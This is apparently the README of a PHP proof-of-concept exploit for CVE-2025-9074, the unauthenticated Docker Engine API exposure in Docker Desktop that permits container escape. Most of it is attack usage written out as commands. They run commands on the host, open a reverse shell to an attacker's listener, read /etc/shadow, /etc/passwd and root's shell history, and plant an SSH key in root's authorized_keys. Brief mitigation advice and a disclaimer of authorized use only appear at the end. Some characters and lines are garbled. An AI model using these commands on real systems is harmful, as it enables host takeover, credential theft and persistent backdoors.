
PHP poc, exploit for CVE-2025-9074
Severity: CRITICAL | CVSS Score: 9.8 (estimated) | Affected Versions: Docker Desktop < 4.44.3
A proof-of-concept exploit for CVE-2025-9074, an unauthenticated Remote Code Execution vulnerability in Docker Engine API that allows privileged container escape and host system compromise.
CVE-2025-9074 is a critical vulnerability in Docker Desktop that exposes the Docker Engine API without proper authentication or network isolation. This allows remote attackers to:
The vulnerability affects:
git clone https://github.com/yourusername/CVE-2025-9074.git
cd CVE-2025-9074
Execute a single command on the Docker host:
php poc.php -u http://192.168.65.7:2375 -m cmd -c "whoami"
Establish an interactive reverse shell:
# Terminal 1: Start listener
nc -lvnp 4444
# Terminal 2: Run exploit
php poc.php -u http://192.168.65.7:2375 -m reverse -l 10.10.14.36 -p 4444
php poc.php -u <url> [options]
| Option | Short | Required | Description |
|---|---|---|---|
--url | -u | β Yes | Docker API URL (e.g., http://1.2.3.4:2375) |
--mode | -m | β No | Execution mode: cmd or reverse (default: cmd) |
--cmd | -c | β οΈ For cmd mode | Command to execute on target |
--lhost | -l | β οΈ For reverse mode | Your IP address for callback |
--lport | -p | β No | Your listening port (default: 4444) |
--os | β | β No | Target OS: linux, mac, windows (default: linux) |
--cleanup | β | β No | Remove container after execution |
--help | -h | β No | Display help message |
Execute single commands on the target:
# Simple command
php poc.php -u http://192.168.65.7:2375 -m cmd -c "id"
# Read files from host
php poc.php -u http://192.168.65.7:2375 -m cmd -c "cat /mnt/hostfs/flag.txt" --cleanup
# With cleanup
php poc.php -u http://192.168.65.7:2375 -m cmd -c "whoami" --cleanup
Spawn an interactive shell with callback:
php poc.php -u http://192.168.65.7:2375 -m reverse -l 192.168.1.100 -p 4444
php poc.php -u http://target:2375 -m cmd -c "cat /mnt/hostfs/etc/shadow" --os linux
php poc.php -u http://target:2375 -m cmd -c "dir C:\" --os windows
php poc.php -u http://target:2375 -m cmd -c "ls -la /mnt/hostfs/Users/" --os mac
# Enumerate host system
php poc.php -u http://192.168.65.7:2375 -m cmd -c "uname -a"
php poc.php -u http://192.168.65.7:2375 -m cmd -c "whoami"
# Extract sensitive files
php poc.php -u http://192.168.65.7:2375 -m cmd -c "cat /mnt/hostfs/root/.bash_history"
php poc.php -u http://192.168.65.7:2375 -m cmd -c "cat /mnt/hostfs/etc/passwd"
# Add SSH key
php poc.php -u http://192.168.65.7:2375 -m cmd -c "mkdir -p /mnt/hostfs/root/.ssh && echo 'SSH_KEY' >> /mnt/hostfs/root/.ssh/authorized_keys"
# Enumerate running containers and networks
php poc.php -u http://192.168.65.7:2375 -m cmd -c "docker ps --all"
0.0.0.0:2375 without authentication/containers/create/:/mnt/hostfs/:/mnt/hostfs/mnt/host/c:/mnt/hostfs/mnt/hostfs pathsβββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β poc.php (Your Machine) β
ββββββββββββββ¬βββββββββββββββββββββββββββββββββββββββββ
β HTTP REST API Call
βΌ
βββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β Docker API (Target Port 2375) [UNAUTHENTICATED] β
ββββββββββββββ¬βββββββββββββββββββββββββββββββββββββββββ
β Creates Container
βΌ
βββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β Privileged Alpine Container β
β ββ Full Root Access β
β ββ Bind Mount: /:/mnt/hostfs β
β ββ Executes Attacker Command β
ββββββββββββββ¬βββββββββββββββββββββββββββββββββββββββββ
β Command Output
βΌ
βββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β Output Returned to Attacker β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββ
Upgrade Docker Desktop
# Update to version 4.44.3 or later
Network Isolation
Enable TLS Authentication
# Configure Docker daemon with TLS certificates
# In daemon.json:
{
"tlsverify": true,
"tlscacert": "/etc/docker/ca.pem",
"tlscert": "/etc/docker/server-cert.pem",
"tlskey": "/etc/docker/server-key.pem"
}
Network Segmentation
/var/run/docker.sock) for local access only# Scan for exposed Docker APIs
nmap -p 2375,2376 -sV target_network
# Check if port responds to Docker API
curl -s http://target:2375/version
This tool is provided for authorized security testing and educational purposes only.